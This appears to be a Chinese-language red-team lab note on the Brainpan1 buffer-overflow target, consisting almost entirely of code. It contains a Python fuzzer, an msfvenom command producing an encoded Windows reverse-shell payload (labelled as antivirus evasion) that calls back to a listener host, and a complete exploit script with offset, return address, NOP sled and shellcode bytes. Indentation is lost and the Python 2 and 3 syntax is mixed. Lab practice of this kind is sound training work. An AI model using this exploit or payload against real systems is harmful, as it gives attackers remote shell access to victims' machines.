第十一篇红队笔记-百靶精讲之Brainpan1-缓存区溢出 - ToB企服应用市场:ToB评测及商务社交产业平台

#! /usr/bin/python
import socket
import time
import sys
size = 100
server = str(sys.argv[1])
port = int(sys.argv[2])
while True:
try:
print("\n[+] buffer is %s byets" % size);
buffer = "A" * size
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((server,port))
print(buffer+"1")
s.send(buffer.encode())
s.close()
size += 100
time.sleep(3)
except:
print ("\n[+] Cloud not connect.")
sys.exit()

复制代码

# x86/shikata_ga_nai 防免杀
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.0.2.132 -e x86/shikata_ga_nai -b "\x00" -f python

复制代码

#coding:utf-8
import socket
import time
import sys
size = 100
server = str(sys.argv[1])
port = int(sys.argv[2])
while True:
try:
print("\n[+] buffer is %s byets" % size);
buf = b""
buf += b"\xbb\x37\x60\x4f\x5f\xda\xc6\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x0e\x03\x6a"
buf += b"\x6e\xad\xaa\x68\x86\xb3\x55\x90\x57\xd4\xdc\x75"
buf += b"\x66\xd4\xbb\xfe\xd9\xe4\xc8\x52\xd6\x8f\x9d\x46"
buf += b"\x6d\xfd\x09\x69\xc6\x48\x6c\x44\xd7\xe1\x4c\xc7"
buf += b"\x5b\xf8\x80\x27\x65\x33\xd5\x26\xa2\x2e\x14\x7a"
buf += b"\x7b\x24\x8b\x6a\x08\x70\x10\x01\x42\x94\x10\xf6"
buf += b"\x13\x97\x31\xa9\x28\xce\x91\x48\xfc\x7a\x98\x52"
buf += b"\xe1\x47\x52\xe9\xd1\x3c\x65\x3b\x28\xbc\xca\x02"
buf += b"\x84\x4f\x12\x43\x23\xb0\x61\xbd\x57\x4d\x72\x7a"
buf += b"\x25\x89\xf7\x98\x8d\x5a\xaf\x44\x2f\x8e\x36\x0f"
buf += b"\x23\x7b\x3c\x57\x20\x7a\x91\xec\x5c\xf7\x14\x22"
buf += b"\xd5\x43\x33\xe6\xbd\x10\x5a\xbf\x1b\xf6\x63\xdf"
buf += b"\xc3\xa7\xc1\x94\xee\xbc\x7b\xf7\x66\x70\xb6\x07"
buf += b"\x77\x1e\xc1\x74\x45\x81\x79\x12\xe5\x4a\xa4\xe5"
buf += b"\x0a\x61\x10\x79\xf5\x8a\x61\x50\x32\xde\x31\xca"
buf += b"\x93\x5f\xda\x0a\x1b\x8a\x4d\x5a\xb3\x65\x2e\x0a"
buf += b"\x73\xd6\xc6\x40\x7c\x09\xf6\x6b\x56\x22\x9d\x96"
buf += b"\x31\x47\x62\x9a\x45\x3f\x60\x9a\x44\x7b\xed\x7c"
buf += b"\x2c\x6b\xb8\xd7\xd9\x12\xe1\xa3\x78\xda\x3f\xce"
buf += b"\xbb\x50\xcc\x2f\x75\x91\xb9\x23\xe2\x51\xf4\x19"
buf += b"\xa5\x6e\x22\x35\x29\xfc\xa9\xc5\x24\x1d\x66\x92"
buf += b"\x61\xd3\x7f\x76\x9c\x4a\xd6\x64\x5d\x0a\x11\x2c"
buf += b"\xba\xef\x9c\xad\x4f\x4b\xbb\xbd\x89\x54\x87\xe9"
buf += b"\x45\x03\x51\x47\x20\xfd\x13\x31\xfa\x52\xfa\xd5"
buf += b"\x7b\x99\x3d\xa3\x83\xf4\xcb\x4b\x35\xa1\x8d\x74"
buf += b"\xfa\x25\x1a\x0d\xe6\xd5\xe5\xc4\xa2\xe6\xaf\x44"
buf += b"\x82\x6e\x76\x1d\x96\xf2\x89\xc8\xd5\x0a\x0a\xf8"
buf += b"\xa5\xe8\x12\x89\xa0\xb5\x94\x62\xd9\xa6\x70\x84"
buf += b"\x4e\xc6\x50"
buffer = "\x41" * 524 + "\xf3\x12\x17\x31" + "\x90" * 16 + buf
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((server,port))
s.recv(1024)
s.send(buffer)
print "done"
size += 100
time.sleep(3)
except Exception as errorMsg:
print "产生错误了:%s'%errorMsg"
print "\n[+] Cloud not connect."
sys.exit()

复制代码